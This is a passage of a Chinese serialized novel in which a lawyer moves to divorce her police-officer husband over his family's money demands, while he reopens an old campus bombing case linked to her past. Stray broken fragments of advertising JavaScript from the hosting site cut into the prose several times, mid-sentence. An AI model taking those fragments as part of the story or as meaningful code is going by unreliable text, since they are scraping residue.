关昊也坐下来:“你想我们了打电话不就得了嘛,再说上周我不刚回去。”说着就要夹菜,被关妈一筷子打掉:“洗手了吗你就吃,快洗手去!” 等两个人洗过手坐下后,关妈夹了一个鸡腿到关昊碗里,说:“你们俩也老大不小了,都三十的人了,也该要孩子了。你看,你哥的儿子都初三了。” “我哥比我大十岁,他孩子大这不很正常。”关昊边吃边说。 “嗯,说到你哥家的老大,这不明年要中考了吗,他这个成绩啊,想上区重点,我看够呛。成绩也不稳定,发挥差点,没准就分流到职业高中了,亮亮的成绩他自个儿也知道。上礼拜他去听了个讲座,说有个国际学校,不要分数,都是什么外国老师教课,毕业了直接去国外的名校。回来就跟他爸妈说,说怎么着也得去这个学校,不然以后没前途。” 林茜听出来了,国际学校,不要分数,那就是要钱。 关昊一宿没睡,此时又累又饿,抓紧时间往嘴里塞饭,抽空和他妈聊天,“那就去呗,你不也说了他高中有可能考不上。有机会就去,别是诈骗就行。” “那不会,”关妈一听有戏,顺着关昊的话说:“你哥跟你嫂子去看过了,是正经学校,还看了往年的毕业生,都是什么UCL还是什么S什么U,哎呀这些洋词我都记不住!” “你听过吗?是野鸡大学吗?”关昊问林茜。 “UCL,伦敦大学学院;SFU,西门菲沙大学,在加拿大。” “这喝过洋墨水就是不一样。这下踏实了吧,都是正经学校。这不嘛,都是为了孩子,以后要是能有个好前程,多花点钱也无所谓。但是这个学校吧,收费实在太高,一年要30万,30万呐,谁家能一下拿出来30万?还一次性就得交齐!都是一家人,不就得大伙都出点力嘛。”说话间,眼睛往林茜这瞟。 林茜没有反应,关昊往嘴里又塞了一口,转身去了卧室,拿出一张卡放在关妈面前:“这是我工资卡,里面的都拿去用吧。” 关妈没拿起来,而是问了关昊一句,“这里面,有多少啊?” “十二三万吧。”关昊嘴里嚼着东西,含混不清。 关妈眼眉一挑,没接。“你呢,跟你哥一样,都挣死工资。你还好点,公安局起码工资 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 高点,你哥就是个加油站收费的,你嫂子又没工作,光在家带孩子,家里还有个老二明年上小学,他们家能维持生活就不错了。你爸呢,退休金都给你奶奶买药了,就指着我这点退休金过日子。所以……” “还差多少啊?”关昊问。 “现在啊,是这样,你哥跟你嫂子,能凑5万出来,你嫂子不争气,想问她娘家周转点,连个屁也没借出来。我跟你爸呢,勒紧裤腰带,最多能凑3万,你看剩下的?” “我刚定了一套房子,手里没有现金了。我吃饱了,你们慢用。”林茜不打算听下去了。 “哎,不是,这个节骨眼儿上买房,家里这么多套房子,还不够你住啊?”关妈一脸不满。 “女人嘛,总是需要一点安全感。自己的房子,当然最有安全感。”林茜一改往日的沉默寡言,眯起眼睛露出一个假笑。 没等关昊说话,关妈就阴阳怪气了起来,“你说这话我就不爱听了。怎么着,当初的婚前财产协议是你愿意签的,现在埋怨我们了?还是说有些人惦记别人的房子没成,在这憋着气呢?”关妈翻了一个白眼。 “随便你怎么说,总之我一分钱不会出。既然你今天来了,也顺便告诉你,我已经决定离婚,离婚协议书就在你儿子手里,请他早点签好和我办手续。我们早一天离婚,你就早一天换个听话顺眼的儿媳,早点抱孙子。” “说什么呢!”关昊听着两个女人唇枪舌剑,头轰的一声炸开。 林茜不想再吵,转身进卧室了。 关昊想追上去,被关妈一把拉住,大声叫道:“怎么回事,跟我演哪出呢这是?一哭二闹三上吊,我见多了!为了点钱连离婚都用上啦?你让她离!反了她了!” “你少说两句行不行!”关昊着急去找林茜。 “不行,你哥的事还没说完呢,你打算怎么办?” “钱不都给你了吗?” “我还不知道你?从小花钱大手大脚,非要买个吉普,一个月光油钱就多少?剩这仨瓜俩枣都给我了,你自己呢?”关妈连心疼带数落:“男人在外面,手里没点钱能行?再说你这点也不够啊!”说着冲卧室使了个眼色。 “行了我的事你少管,她的钱你也别惦记。当初说好了各算各的就是各算各的。实在不够你不是有6套房吗?你卖一套不就够了吗?” “这话说的,现在哪有多余的房卖出去?抛开一个正盖着的,俩期房还没影儿,现在咱们三家住的房子哪个能卖出去?” “反正我的钱都给你了,不够你让我哥自己想办法去!” 拉扯间,林茜已经拎着一只皮箱走了出来。 关昊一眼就看到了,“你真走啊!” “嗯,我已经叫了车,快到楼下了。再见。” 饶是关妈再泼皮,也察觉出了不对劲儿,拽着关昊的手力气也小了些,小声问:“怎么回事啊?” “林茜,你先别走……”关昊想挽留,但眼下这个局面,竟然不知道该说什么留住她。 “先解决你家里的事吧,协议签好后联系我。”林茜淡淡的回道,打开门,走了。 关妈看看林茜,又看看关昊,一脸狐疑,“真要离啊?” 9. 第 9 章 “是,她要跟我离婚!你满意了吧?”关昊烦躁不已,冲关妈吼道。 “跟我有什么关系啊?这事也不是我要来的,是你哥一家子跑到家里求我,你爸也说你们两口子年轻,挣得多,又没孩子,负担小,兄弟之间能帮就帮一把。他自己拉不下面子,倒让我来做这个恶人!”关妈怂眉耷拉眼,一边解释一边抱怨。 关昊只觉得头痛欲裂:“行了行了,您就别在这添乱了,拿着卡赶紧走吧!” 打发了关妈,关昊一头扎进沙发里,连日的疲劳一起涌来,困意打败烦恼,心中有个声音响起,“先睡吧,有什么事明天再说。” *** “两百多万?!真的假的啊?”姚佳莉惊呼。 “要等执行完才能拿到手。不过有几十万的零头,客户已经提前转给我了,这个案子比想象中快,她很满意。”林茜斜倚在沙发上,和闺蜜聊起最近的事。 “看来你的客户是个爽快人。不过也是,上千万的股份都赢到了,预付一些也算体面。你这一刀挨得值,换了我,再多两刀都可以!” 周六一整天,林茜没去律所,窝在了闺蜜家里。这段时间对她来说同样不好受,案子的繁琐,意外受伤,以及深思熟虑之后的离婚决定,都让她筋疲力尽。 “那这婚你得赶紧离了,本来就惦记你的钱,要是被你婆家知道这回事,还能痛快离婚吗?” “听昨天的意思,大概还差十万。如果关昊实在不同意,或许他妈还能帮上忙。” “你不是想拿十万换离婚吧?不划算,太贵!”姚佳莉一脸严肃地说,“当初像防贼一样防着你,生怕你分到一星半点,现在还想让你出钱,凭什么呀?你还不如把十万给我,我天天去公安局闹,保证给你闹到离婚!” “你就不怕人家按寻衅滋事把你抓起来?”林茜挑着眉问她。 “我又不是真去闹,我是和他们领导反映职工的家庭情况,对于生活中一些不公平不公正的事要及时制止,以免影响警察叔叔的光辉形象,我有什么错?”姚佳莉理直气壮。 “你这张利嘴,比当年在模拟法庭有增无减。”林茜被逗笑了。 “那是,好歹我平常也会去法律援助中心做些义工,本事还没放下呢!”姚佳莉得意道。 “你打算一直做健身博主吗?” “对,我喜欢健身,做自己喜欢的事还能赚钱,何乐不为呀。而且我也很享受带着别人一起运动的感觉。就是有点可惜,我爸妈都不理解。” “老一辈的人都喜欢稳定工作,观念不同也没办法,或许时间长了他们就接受了。”林茜开解道。 “不只是这样,他们还觉得女孩子不该抛头露面,你是不知道,我前年回家,饭桌上亲戚就差说我沦落风尘了。” 林茜皱眉,姚佳莉的家庭情况她知道,观念保守,更看重儿子,女儿有个稳定工作,早点嫁人最好。姚佳莉刚毕业的时候和她一样,在律所实习,没多少薪水,就被父母要求支付弟弟的学费。 “你弟弟是不是也快高考了?” “不知道,本来我俩就差了十几岁,从他出生开始我就在住校,不熟。”姚佳莉故作轻松。 “那你父母还让你付弟弟的学费吗?” “还说这个,他们一方面觉得我做的不是正经工作,一方面又觉得我肯定赚了大钱,让我全打给家里,留着给我弟娶媳妇。这不开玩笑吗?我的钱也不是大风刮来的,刚进律所的时候实习就五千块钱,扣掉房租和吃饭通勤的费用,每个月能省下800就不错了,我那时候傻乎乎地全打给家里了。后来当博主,想让家里帮衬点,给点生活费能撑过去就行,结果呢? 说家里也过的紧巴巴,又说都毕了业的人了哪还有跟家里要钱的,反正就是俩字,没钱。要不是当初你收留我,我就露宿街头了。这说明啥?不管什么时候,都要给自己留点风险资金。”姚佳莉也只有在林茜面前,才会收起她那永远阳光乐天的小太阳做派,吐些苦水:“所以啊,视频盈利之后,我也没告诉家里,只说收入和之前差不多。打回去的钱也差不多。就这么一直相安无事挺好。” 林茜知道姚佳莉和家里的关系紧张,不想她聊起来伤心,换了个话题:“那你后悔吗?学了那么多年法律,最后做了和法律完全不相关的工作?” “念书的时候觉得理论探讨挺有意思,可是真实践了不是那么回事啊,咱俩实习的时候都没少打杂,做的工作里也就一半和业务有关,又不是本地人,什么案源都没有,一年年在律所里,什么时候才能出头啊?所以我觉得我有个喜欢的事情,还能靠它赚钱,已经很幸运了,我不去想什么后不后悔的事,对我来说,吃饱肚子,过好日子最重要。说起来,还是你有本事,一年升一级,又揽下这么个大客户,等这个案子结了,你这个新晋合伙人就坐稳了吧?” “或许吧,”林茜想起余琛因为帮自己引发的无妄之灾:“可惜连累了别人。” “那也不能这么说,你发的那个视频,不也为他出了份力吗?你这几天忙估计没看见,他的背景被人挖出来,在泰国拿过两条金腰带呢!现在他的拳课可是大热门,昨天还有人去他的拳馆直播,就是没看见他,现在网上连怎么选到他的课的攻略都出了。这么大的流量,换了我都得拜拜你这个财神爷!” “这么说他也要感谢你,毕竟媒体是你联系的。”林茜笑着说。 “感谢就算啦,哪天你要是不介意,引荐一下这位英雄救美的壮士呗。你放心,我不惦记人,就是大家都是搞运动的,啥时候一起出期视频,就是帮我大忙啦!”姚佳莉又是调侃又是期待地说道。 “等他休息几天,我帮你和他说。”林茜想起昨天看到余琛眼里的红血丝,心里有些过意不去。 “呦,考虑这么周到啊。”老姚一双眼睛饱含深意。 “好烦啦你!”林茜一个抱枕丢过去。 “我看他对你倒是挺好的。你不知道,你放到网上的那个视频,现在都传疯了。身材高大,出手利落,见义勇为,哪怕连正脸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都没有,就这三点加起来,已经秒杀诸多路人甲了。”老姚接过抱枕,一边回忆一边点评。 “不过话说回来,”姚佳莉正色道:“毕竟是关昊盯过的人,他当老公虽然不怎么样,业务能力还是不错的,他这么紧咬余琛,不会真有问题吧?” “他的案子已经撤了,我想不会有问题。”林茜想起昨天在警察局听到的只言片语和关昊执拗的眼神,心里也有点不安。 “那就好,反正谁信不过,你自己总是信得过的。当年在学校你就是第一,现在又在法律圈浸淫了这么多年,只要别为男人犯傻,肯定能保护自己。那你想离婚,和他有关系吗?” “和他没关系,是我和关昊过不下去了。”想起家里的一团事,林茜只觉得心头发灰。 他的家庭,林茜始终融入不了。而他们两个日常相处中的那些不满与矛盾,看起来也不会彻底解决。 “你们当初也是金童玉女一对璧人啊。”老姚感慨道。 当初毕业后留在北京的同学时不时还会聚一下,林茜第一次带着关昊来参加同学聚会的时候,大家都眼前一亮,太般配了。 当时在场的男同学心里酸溜溜的,嘴上起哄说关昊一定是上辈子攒的福气,其中一个喝了点酒上头了,三份叮嘱七分威胁地对关昊说这可是大家的女神,要好好对林茜。 关昊是什么人呢?最要面子的一个,当下表示这辈子只有林茜一个人。说得在场的女同学眼红心热的,祝贺之余纷纷在心里想也要找个这样的。 林茜想起当初,也是黯然。 “关昊看着人挺聪明的,谁能想到过日子这么糟心呢,果然脸好看不能当饭吃。没事,旧的不去新的不来,想开点,拜拜就拜拜。”老姚开解道。 关昊那头却是刚刚睡醒,一直睡到日上三竿,下意识叫林茜的名字,发现无人应答。关昊清醒过来,觉得自己这段时间确实对林茜的关心不够,工作是忙不完的,但老婆只有一个。关昊决定把她哄回来。 手机响了起来,闺蜜一脸八卦:“是不是拳王来电话了?” 林茜无奈的举起手机,“关昊。” 闺蜜摆摆手,扫兴的走了。 “有什么事吗?”林茜问。 “我的白T恤放哪儿了?” “就在主卧的衣柜里。” “我的剃须刀呢?” “不记得了,你自己找找吧。没别的事就挂了。” “哎等等,那个,晚上有时间吗,请你吃个饭。” “不用了,我不想出去。” “你现在住哪呢?不会真买了个房子吧?” “我在阿姚家里。” “那我6点过去接你。” “关昊,”林茜还来不及拒绝,就听到电话那头说:“就这么说定了,我收拾一下啊。”挂了。 “啥情况?”姚佳莉探出头来。 “他说6点来接我去吃饭。” “那你去不去呢?” “不去。” 10. 第 10 章 关昊洗了把脸,刮了胡子,换了一件干净的T恤。考虑到5月中旬的傍晚还有点冷,特意加了一件外套给林茜备着,他自己当然是不怕冷的。 关昊从没追过女生,因为从小长得就好看,都是女生追他。对林茜,算是两情相悦水到渠成吧。能考虑到林茜怕冷的问题,关昊自觉已经是个体贴入微的好老公了。 林茜这段时间辛苦,人也瘦了,看着让人莫名又有了保护欲。夜里风凉,等吃完饭散步的时候,就脱下外套自然地披在她身上。女人嘛,还是需要关心的,她一感动肯定就会跟自己回来。 关昊沉浸在这样轻松愉悦的想象里,一直到在林茜那里吃了钉子。 林茜只穿了件简单的线衫和牛仔裤,与平常剪裁合体的职业套装相去甚远。明明是平易近人的装扮,表情却比工作时更冷,让关昊一时忘了自己的外套计划。 “我想我已经说的很清楚了,没别的事就不要来找我了。”林茜面无表情地把离婚的事简要又讲了一遍,转身上楼了。 正巧姚佳莉下楼倒垃圾,看见关昊还杵在那里,挑着眉道:“这回碰钉子了吧。” 关昊梗着脖子嘴硬:“夫妻吵架很正常。” “啧,真是不见棺材不掉泪,茜茜是一般女生吗?那可是爆炸崩于前而面不改色的人。你要是就想找个贤妻良母,回家老婆孩子热炕头,我看就算了吧。她事业红红火火,你别耽误了她。” “什么爆炸?”姚佳莉无心的一句话,引起了关昊的注意。 “茜茜没和你说过吗?大二那年食堂发生了一起爆炸案,两死一伤,当时她就在现场。不少亲历者都或多或少留下了点心理阴影,甚至没在现场的学生因为这起事故也变得疑神疑鬼,那段时间学校的心理咨询室爆满。”姚佳莉解释道:“但她嘛,不能说一点异常没有,但和其他人相比,那是镇定太多了。所以我说,她这个心理素质,天生就是干大事的人,你要是想让她回到家里只当个贤妻良母,那可太屈才了。” “爆炸案是什么时候?”关昊拧着眉头问。 姚佳莉看关昊忽然严肃起来,虽然有些莫名其妙,也配合地回答:“具体时间记不清了,不过那时候天气已经热起来了,早晚又有点凉,大概五月底六月初吧?” 五月底六月初,那已经临近暑假了。关昊迅速在脑海中过了一遍关联信息,林茜是大二暑假前认识余琛的,之前还说过余琛是食堂的员工,食堂爆炸案,这三件之间会有联系吗?他们一直找不到的关口是不是就在这里? 想到这,关昊急忙回了警察局,去档案室调卷。 周末警局没啥人。毕竟余琛的案子撤了,最近又没啥大案。只有老李在值班,老李是刑侦口退下来去二线的,一听关昊要来查卷,感慨道:“年轻人就是拼啊,这大周末的也不休息。京法大学爆炸案,好像有点印象,等我给你找找。” 过了十来分钟,老李从灰尘弥漫的档案架中走过来:“找着了,这个案子我想起来了,是一个化学系的学生心理出问题了,报复老师,也没想着藏,几天就破了。这个案子当年办的挺瓷实的,应该没什么问题。” 关昊接道:“是,就是有个正在查的人当年也在京法大学,看看能不能有点线索。” 关昊细细翻着卷宗,竟然找到一份林茜的口供。上面记录着,林茜下课后去二食堂卖八宝鸭的档口打饭,这个档口就是爆炸点。但中途忽然遇到男朋友,临时有事走了,逃过一劫。 男朋友?林茜说认识他之前只交过一个男朋友,不过是在美国留学时候的事。毕业后男生留在美国,两个人就分手了。这个男朋友又是怎么回事? 关昊找出当年食堂的录像,看到林茜当时是径直走向八宝鸭档口的,显然对爆炸不知情。 忽然旁边快速走过来一个高个子男人,把外套披在林茜肩上,顺势揽着她的肩膀调转了方向往回走,步幅很大,林茜甚至有点踉跄,就在走到监控范围边缘的时候爆炸声响了,两人在监控中突然消失。 关昊把录像倒回去反复看了几次,终于辨认出画面边缘露出的鞋底,推断是男人压着林茜倒在了地上,反应之快,几乎和爆炸同时发生,就像提前知道了这起爆炸。 从出现到走出画面只有短短几秒钟,男人始终没有露出正脸。关昊把画面定格在他揽着林茜往回走的那一刻,想起前两天带走余琛时他按住林茜的肩膀安慰她,两个人的身高差和画面中十分相似。关昊直觉这个人就是余琛。 余琛和食堂爆炸案有关系吗?为什么当时的刑警没有追查下去?关昊把案卷细细的看了一遍。 整个案件不复杂,化学系的一个学生因为考试作弊受到处分,保研泡汤了,心怀怨恨,于是跟踪监考老师,知道他每周三中午都会到二食堂吃八宝鸭,就在下课前20分钟把自制的□□用不粘胶粘在了八宝鸭档口伸出的案板下面,当时人不多,没人留意到。 肇事的学生找了个角落守着,一看到老师站到档口前,就在手机上按下了启动。老师和对面的工作人员当场身亡,另一名离得比较近的工作人员受了重伤,还有8个人有不同程度的轻伤。 他制作炸弹的材料,一部分是实验室偷的,一部分是黑市上买的。校外的出租屋里还有残留的材料,警方顺藤摸瓜找到了黑市的人,加上食堂的监控录像,人证、物证都在,这个案子的证据很扎实。 那余琛和这起案子到底有什么关系呢? 关昊看了眼经办人,发现老李也是其中之一。状似不经意的聊道:“这学生可真够狠的,为了报复老师,害了十个人。” “可不嘛,都说冤有头债有主,再说人老师抓作弊有什么问题,要我说就是这学生自己心胸狭窄走极端了。”老李闲来无事,也和关昊聊起来。 “但是一般人有想报复的人,肯定得选个稳妥省事的办法。□□炸死别人也太绕远了,按您说的,他也没想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跑,那他直接堵在老师回家路上一刀捅死他不是更省事吗?” “这你就不明白了吧,这跟犯罪心理有关。”老李扶了扶眼镜,一脸深意地看着关昊说:“这个学生啊,他是有天分的,你想能考进京法大学的,能没点天分吗?这学生自视甚高,觉得自己是化学界的天才,以后肯定得出人头地的。那个老师呢,也不是别人,就是他的任课老师,对他的评价倒是一般,觉得他实验做的不错,但理论不够扎实。俩人本来就不对付,又有了抓作弊这么个事,学生觉得自己的前途被老师毁了。除了报复心理,也有点想证明自己的意思,那怎么证明?就用专业证明。” “不只自视高,我看他也没什么同理心,要不害不了这么多人。”关昊接着问:“这种人一般没什么朋友吧?” “是啊,性格孤僻,不会跟人相处,和宿舍其他人的关系也不好,说住了一个学期就自己搬出去租房住了。”老李往茶壶里里续了点水,给关昊倒了一杯茶。 “可是制作炸弹是个挺复杂的事儿,我看他光原料就准备了这么多,他一个人能行吗?没同伙吗?”关昊又问。 “你这就看卷不仔细了吧,”老李摘下眼镜指点道:“那个卷三,后半部分,就有他同伙的信息。是个站街女。这小子小时候家里管得严,一直到上大学了,连个淘宝也没有,倒是先学会嫖了。而且他家庭条件也不好,交了房租也不剩多少钱了,网购的那部分材料,是那女的自掏腰包给他买的。当时这个案子影响太恶劣了,女的算从犯,判了十年,差不多也该放出来了。” 关昊拿起杯子也没喝,就在那复盘当时的情形,制作炸弹是个挺专业的事,站街女只帮忙买原料,余琛如果参与了,估计也是干这些边角料的活儿。既然站街女被抓到了,没道理会漏掉余琛。而且余琛逃到内地也就几个月的时间,那个学生也不至于和他有什么过硬的交情袒护他替他隐瞒,那到底是哪里有交集呢? 老李看聊到一半断了,不尽兴,又自顾自说道:“说起来这个站街女对他也有几分真心,那女的我记得当时二十来岁,长得挺好看的,原来也是个小康之家,后来他爸出意外死了,她妈跑了,她十几岁沦落风尘,不喜欢大款,就喜欢学习好家境清白的,这是还想着有一天能上岸呐。” “那怎么就找上张志斌了呢?”关昊随口问道。 “据说是老乡?也不怎么一来二去俩人就走到一起了。当时我们去抓人,学校北门那一排日租房,全是给干柴烈火的年轻人准备的,条件差,就一个小单间,也不用身份证,特便宜。当时张志斌在那长租,价钱还要再低一些,女的隔三差五过去看他。” “不要身份证?”关昊抓住了重点。 “是啊,主要就是针对学生情侣开的。那时候管的也不严,隔三差五赶上严打抓一波,平常就睁一只眼闭一只眼。现在应该是不行了。” “李大爷,谢谢您!”关昊飞快地抓起外套跑了。 11. 第 11 章 关昊整个人兴奋起来。等了许久的突破点或许就在这里了。当年余琛为了躲仇家跑来内地,没有内地的身份证,除了打包吃包住的黑工,最有可能住的就是这种便宜的日租房。 他一路风驰电掣开到京法大学北门,心凉了半截。 卷宗里那一排低矮的日租房不见了,取而代之的是奶茶店,服装店,烧烤大排档。 天已经黑下来,路面却更热闹了。五颜六色的灯牌闪烁着,空气里充斥着烧烤、炸串的香气,以及“我爱你我爱你,蜜雪冰城甜蜜蜜”的歌声。 关昊一番打听,知道这里的日租房五年前就拆了,老板的小孩该上小学了,在这落不了户,一家人又搬回老家了。 卖炒酸奶的大哥看他一脸失望,还好心提醒他:“西门那边有快捷酒店”,并露出一个意味深长的笑容。 关昊有些无可奈何,不知怎么突然想起案卷中林茜笔录里那个男友,会是余琛吗?关昊有点说不出的烦躁。 还是得把这个案子破了。 不知怎么,关昊宁愿绕远去查这些边缘的蛛丝马迹,也不想去林茜那刨根问底。 虽然线索又断了,但是这一趟打听到日租房老板是长治人,也不算无功而返。可惜案子已经撤了,不能调动警局的人力,关昊打算明天走一趟长治。 关昊回到车上刚要发动,电话来了。 “喂,妈。”这个时候接到妈妈的电话,不用猜也知道是什么事,关昊的语气里透着些不耐烦。 “那个,没别的事,就是问问,你们俩怎么样了?她还闹吗?”果不其然,关妈先问了林茜。 “嗯,还行吧。”关昊含混着过去了。 “那,那天说的那个事,你怎么想呀?”接着,就是要钱了。 “卡不是给你了吗?”关昊语气很冲。 “关昊啊,你别嫌我烦,妈舍下这一张老脸,为了谁呀?不就是为了你们这些子孙吗?你也别以为我跟你爸就是偏心你哥,要是有一天换了你急用钱,我们也是一样的!”关妈说到动情处,声音里都带了哭腔。 关昊对此已经见怪不怪了,早些年关爸爱打麻将常常整夜不回家,关妈就三天一小吵五天一大吵,绝活儿之一就是三句话带上哭腔,五句话眼泪下来,十句话之内恢复风平浪静。当然也不是每次都这么准,要看关爸的认错态度以及赔偿措施。 关昊无奈道:“不是我不帮你,是我的钱都给你了,剩下的你得让他自己想办法去!他这么大个人了不能老指望别人!” “那不是还有你媳妇吗?!她是大律师她挣得多啊!都是一家人,住新房的时候痛痛快快的,哦!现在人家有难处了,她跑的比兔子还快!这像话吗?!”关妈说起来就是一肚子气。 “说过多少遍了,我们俩各算各的,再说那房子也没她的份儿啊,她没惦记过你的房子。”关昊额头的青筋突突直跳,但不愿妈妈和林茜的关系再恶化,还是耐着性子解释道。 “都说有了媳妇忘了娘,我看老话一点错也没有。你现在话里话外都是帮她,她好,她有良心,都是你妈不对,行了吧!”关妈冲着电话嚷嚷道。 青筋快要爆掉,关昊的耐心也用尽了,对着电话吼道:“反正我的钱都给你了,你自己想办法去!我这一天天的多少事?以后别拿这个来烦我!”说完“啪”按断了电话。 一秒钟之后,电话又响起,还是关妈。 按断,又打。 重复三次之后,关昊终于拉黑了他妈。 关昊想起林茜之前拉黑自己,自己当初有这么烦人吗? 肯定不是,关昊马上就做出了判断。 一定是哪里有误会。 林茜这个人,对程序正义极其执着。两个人在对待余琛的态度上南辕北辙,除了余琛和林茜过去那点交情,一大半的原因是林茜看不惯当初关昊在警察局带走余琛,反而更同情余琛了。一定是这样。 关昊又想了想,当务之急,还是得把林茜哄回来。长治可以放到下个周末去。明天约林茜回一趟娘家,林茜很孝顺,见到爸妈不会还板着脸,自己可以趁机拍拍岳父岳母的马屁,顺便把之前拿走的几个手机悄悄放回去。 那几个手机来历有些心虚,关昊没拿到技术部门去破解,而是找了个手机维修店,花些钱解决了。看过之后没发现什么可疑的。可惜旧电脑一直没找到,明天回去倒是可以找机会聊一下。 正打算给林茜打电话,想到她今天的态度,关昊转而拨了岳母的号码。 现在正是饭点,电话响了很久才被接起。 “喂,关昊呀。”岳母亲切的声音在那头响起。 “诶,妈,是我。这不是周末了嘛,我跟茜茜想明天回去看看您二老。” “好呀,什么时候过来呀,我跟你爸提前买上菜,多做几个给你们。” “就是说这个事呢,上次回去不是说茜茜单位考核吗,她呢,评优差了一点,没评上,这些天心情一直不好。再加上最近又忙,她有点拖着不愿意动,要不我们今天就回去了。我是愿意她多出去走走,别老扎在工作里,再说我也想回去看看您了,您看要不您给她打个电话,就说想她了,她肯定听您的。”关昊脑子灵,话也说得利索。 林妈一口答应下来,林茜本来就是个要强的人,评优没成心情不好太正常了,没怀疑什么。 “还有啊,我想着茜茜挺要强的,评优这个事就别提了,我上次回去给她取证书那个事您也别说,免得她想起来不舒服。”关昊提醒道。 “成,还是你想得周到,茜茜真是好福气。”林妈对关昊一百个满意。 关昊自觉这件事十拿九稳了,也不着急回去,在学校北门的商业街逛了一圈,吃了几个路边摊,悠闲地回到了家里。 林茜平常话不多,可家里没了她,一下冷清了很多。关昊估摸着时间差不多了,拨通了林茜的电话。 “关昊。”电话接的挺快,林茜声音还是一如往常,平稳地没有波澜。 “那个……嘶”关昊正考虑着怎么提起明天去岳母家,忽然肚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子一阵疼。 “你怎么了?”林茜听着,感觉不对。 “啊没事,”这时候可不能掉链子让明天的计划泡汤。关昊强忍着痛意,继续说道:“我朋友推荐了几个民宿,说是在北边郊区,我看了照片,环境挺不错的,我想要不明天咱们出去逛逛?” “不去。”林茜一口回绝了。 “是案子还没弄完吗?”关昊问道。 “不是,是我想休息一天。”对林茜来说,决定离婚之后,和关昊相处已经是消耗能量的事了,最近发生的事太多,她想一个人静一静。 “那在哪休息不一样呢?出去换个环境,没准休息的更好。再说你在老姚那,毕竟是别人家,住着也不舒服吧?或者这样,那个民宿再往北就到你父母家了,咱们回去看看爸妈也行啊,也好久没回去了吧。” 那头的林茜沉默下来,她今晚确实接到了妈妈的电话,说好久没见了挺挂念她的,问她和关昊什么时候回去一趟。 离婚这件事,对父母一定是个很大的冲击,或许还是个拉锯战,在告诉他们之前,让他们再开心一次,也好。 林茜答应下来。 关昊握着拳头做了个庆祝的手势,高兴地说:“那我明天去接你!” 第二天一早,林茜特意挑了件宽松的堆堆领线衫,遮住肩膀上的绷带。到了楼下时,看出关昊有点不对劲。 平常他像头精力无限的哈士奇,现在整个人却萎靡了,脸色发黄,胳膊抵在方向盘上,像被抽干了力气。 “你不舒服吗?是不是病了?”林茜关心的问道。 “没事没事,估计是昨天晚上吃的路边摊不干净吃坏肚子了,没睡好。等到了之后我眯一会就行。” “你吃过药了吗?” “啊?没有,没那么严重。”关昊是想找点药来吃,但是家里的药箱放在哪他不知道,又不想问林茜,仗着身体好就硬撑了下来。好在早上已经不拉肚子了,只是一宿没怎么睡,早上好不容易爬起来,早饭也没吃,现在一点力气也没有。 “那我来开车吧,你在后面睡一会。一个多小时就到了。” 关昊觉得这样也好,不然被岳父岳母看到自己病恹恹的样子也没面子。 关昊没去后面,而是坐到了副驾驶上,他还想着和林茜聊聊天。奈何头一靠到椅背就睡了过去。 中途醒过来一次,发现是在服务区的加油站。林茜刷完油卡上了车,看到关昊醒了,拿过一个袋子递给他:“在市里买的,看你睡得香,就没叫醒你。” 关昊打开一看,有面包,茶叶蛋,还温着的小米粥,一瓶运动饮料,一瓶矿泉水和一盒止泻药。 感动,踏实,有老婆真好。 “这个服务区小,没什么可吃的,你在车上垫一下中午回去再吃吧。那个药我问过药剂师了,如果没有继续拉肚子就不用吃了,可以喝点饮料,补充一下电解质。”林茜一边发动车子,一边叮嘱道。 “好。”关昊高兴地应着,觉得过去的日子又回来了。 12. 第 12 章 老两口知道女儿女婿要来,提前准备好了一堆水果零食。 关昊一表人才,颇得丈母娘喜欢。 林爸没别的爱好,平时就爱喝两口。正好关昊在警校时就有个千杯不醉的雅号,大聚餐能从开始喝到最后。每次来了什么也不用干,只要陪岳父喝尽兴了,就是林爸眼里懂事孝顺的好孩子。 可惜林爸如今上了年纪,酒量不如以前了,每次在外喝高了得难受好几天,因此林妈已经禁止他聚餐喝大酒,只有女婿来了例外,可以放开喝。 因此女儿女婿上门,林妈是慈祥中透着满意,林爸则是高兴里还有点兴奋。 到了家里,照例是林茜和妈妈去厨房,关昊陪林爸在客厅喝茶聊天。 “你们两个年纪也不小了,打算什么时候要孩子啊?”林妈一边洗菜一边问。 “不急。”林茜嘴上糊弄着,手下切菜很稳。 “还不急吗?你眼瞅着过年就三十了,关昊都三十多了,咋还能不急呢?你婆婆家那头没催你吗?”林妈语气有点焦虑。 “我现在正是事业上升期,他也是,谁都没空。” “哎呀,那工作哪有生孩子重要呢?再说事业什么时候不能干呢?等你生完再拼也行啊。等生完了你们什么都不用管,两边四个老人,还帮忙带不了一个孩子吗?”林妈苦口婆心。 林茜听着只觉得心烦,她连和关昊的婚姻都不要了,还要什么关昊的孩子。 “关昊来的路上有点晕车,我去看看他。”林茜找了个借口溜出去了。 “哦,快去吧。”林妈赶紧应着,心里奇道,警察也晕车呢? 一出门正看见关昊从自己房间出来,面上还有一丝不自然。 “你怎么了?”林茜问道。 “那个,在车上没睡醒,想吃饭前再眯一会。”关昊抓了抓头发。 看起来可不像是犯困或刚睡醒的样子,林茜也不戳破,径直去了书房。 午饭挺丰盛,关昊年轻底子好,休息一上午精力恢复了个七七八八,对岳母的厨艺十分捧场。林妈心花怒放,对女婿也愈发上心,惦记他上午晕车了,不许他再陪着林爸喝酒。 林爸从昨晚就期待的酒落空了,整个人怏怏的,林妈看着心里直呼没出息。趁林茜去厨房盛饭,也顾不上女婿在一旁了,在桌子底下蹬了林爸一脚,小声骂道:“老东西摆什么脸呢?这都是为了闺女!” 林茜出来正好听见个尾音:“为了我什么?” 关昊反应快:“为了给你庆功呗,你刚赢了一个大案,爸妈这不是高兴嘛。” 林妈不知道林茜代理的案子,听女婿说了,也顺着接道:“对对,为了给你庆功。”反正在她眼里,女儿样样都好,赢了案子很正常。 林茜看着不像,却也说不出哪儿不对,只好说:“案子还没最后定下来。” 这时林爸说话了:“对,没出最后结果,不能掉以轻心。这点像我,办事谨慎,哈哈。” “吃都堵不上你的嘴!”林妈夹了一个鸡腿放进林爸碗里。 